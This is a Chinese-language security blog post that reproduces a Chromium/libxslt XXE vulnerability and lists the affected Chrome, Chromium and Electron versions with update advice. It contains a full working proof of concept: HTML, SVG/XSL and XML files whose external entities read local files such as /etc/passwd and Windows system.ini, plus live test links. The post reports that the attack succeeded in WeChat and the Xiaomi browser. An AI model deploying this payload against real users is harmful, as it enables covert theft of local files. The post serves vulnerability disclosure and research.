前言
昨晚看国外大佬的文章,刷到了一个关于 Chrome 的 XXE 漏洞,来了兴趣并看了下,随后简单的在自己手机上复现了一下,竟发现自己的手机内置浏览器存在这个漏洞!然后就有了该文。
漏洞在线测试地址(下述地址仅为漏洞利用证明测试,无任何收集用户信息等行为):
测试地址1:https://chrome-xxe.yfriend.xyz
测试地址2:https://chrome-xxe.yfriend.xyz/d.svg
描述
时间回溯到今年 2023 年 6 月,一位国外安全研究员 Igor Sak-Sakovskii
向 Chromium
项目报告了一个 XXE 漏洞,其漏洞的根源在于 Chromium
项目集成了 libxslt
,libxslt
被用于 XSL 处理,但它允许在 XSL document()
方法加载的文档内包含外部实体。攻击者可以利用这一行为从 http(s)://URLs
访问 file://URLs
,进而绕过安全限制,获取文件访问权限。此外,当使用 -no-sandbox
属性时,攻击者能够在任意操作系统上读取任何文件。这一漏洞主要由于 Chromium
在实施安全策略和沙盒机制时未能充分考虑与 libxslt
的交互方式。
经复现测试,该漏洞的利用相对隐蔽,不需要复杂的交互或留下明显的痕迹。攻击者可以通过发送一个包含恶意 XSL 样式表和 SVG 图像的网站链接给受害者。一旦受害者点击这个链接,浏览器便会加载并解析这些恶意内容。攻击者能够利用这个漏洞来读取本地文件。这种攻击通常是不容易感知的,受害者可能完全不知道他们已经受到攻击。因此,检测这类攻击非常困难,这也使得这类漏洞更加危险。
值的注意的是:由于 Chromium 被广泛用于应用内自集成浏览器,这种漏洞的存在可能被用于更复杂的攻击链中,进一步威胁到用户的安全和隐私。
目前该漏洞等级已从中危提升至高危:
复现
复现的话相对而言较为简单,首先我们先创建一个 HTML
文件,命名为 chrome-xxe.html
,文件内容如下:
<body>
<script>
const r = document.createElement('div');
r.style.width = '40rem';
document.body.appendChild(r);
const ifr = document.createElement('iframe');
ifr.style.display = 'none';
document.body.appendChild(ifr);
ifr.onload = function() {
const ifrDoc = ifr.contentWindow.document.documentElement;
r.innerHTML = `remote web url:<input value="${location.href}" style="width:100%" /><br/><br/>`;
ifrDoc.querySelectorAll('p').forEach(p => {
r.innerHTML += `local file path:<input value="${p.getAttribute("path")}" style="width:100%" /><br/>local file content:<textarea style="width:100%;height:6rem">${p.innerHTML}</textarea><br/><br/>`;
});
}
ifr.src = "./chrome-xxe.svg";
</script>
</body>
其中 ifr.src = "./chrome-xxe.svg";
则是通过 iframe
标签再包含一个名为 chrome-xxe.svg
的 SVG 图像,其 SVG 图像中的内容如下:
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="?#"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:copy-of select="document('./chrome-xxe.xml')"/>
</xsl:template>
</xsl:stylesheet>
SVG 图像中的 <xsl:copy-of select="document('./chrome-xxe.xml')"/>
代码再引用一个名为 chrome-xxe.xml
的可扩展标记语言 XML 文件,其 XML 文件内容如下:
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xml" href="?#"?>
<!DOCTYPE div [
<!ENTITY passwd SYSTEM "file:///etc/passwd">
<!ENTITY sysini SYSTEM "file:///c:/windows/system.ini">
<!ENTITY hosts_linux SYSTEM "file:///etc/hosts">
<!ENTITY hosts_windows SYSTEM "file:///c:/windows/system32/drivers/etc/hosts">
]>
<div>
<p path="file:///etc/passwd">&passwd;</p>
<p path="file:///c:/windows/system.ini">&sysini;</p>
<p path="file:///etc/hosts">&hosts_linux;</p>
<p path="file:///c:/windows/system32/drivers/etc/hosts">&hosts_windows;</p>
</div>
将上述三个文件保存至服务器端或本地同文件夹内,在用浏览器打开 chrome-xxe.html
页面,若存在漏洞,会在框内显示出该文件内容。如下是本人在 最新版微信(版本:8.0.43_2480 28002B33) 中打开测试的链接,成功读取到目标文件内容:
进一步在我的手机上测试,发现手机自带的 小米浏览器 也中招了。所以,能升级浏览器或应用软件的尽量更新一下,防止该漏洞的利用。
影响范围
- Chrome 版本 < 116.0.5845.96
- Chromium 版本 < 116.0.5845.96
- Electron 版本 < 26.1.0
修复建议就是对于使用 Chromium
内核的浏览器和应用程序,请定期检查并关注来自官方渠道的安全更新和补丁。一旦发布了针对此漏洞的修复更新,应尽快进行升级。
对于使用 Chrome 的用户,Google 官方已发布新版本 Chrome
修复漏洞,建议尽快在 Chrome
内点击“关于 Chrome ”升级到最新版本。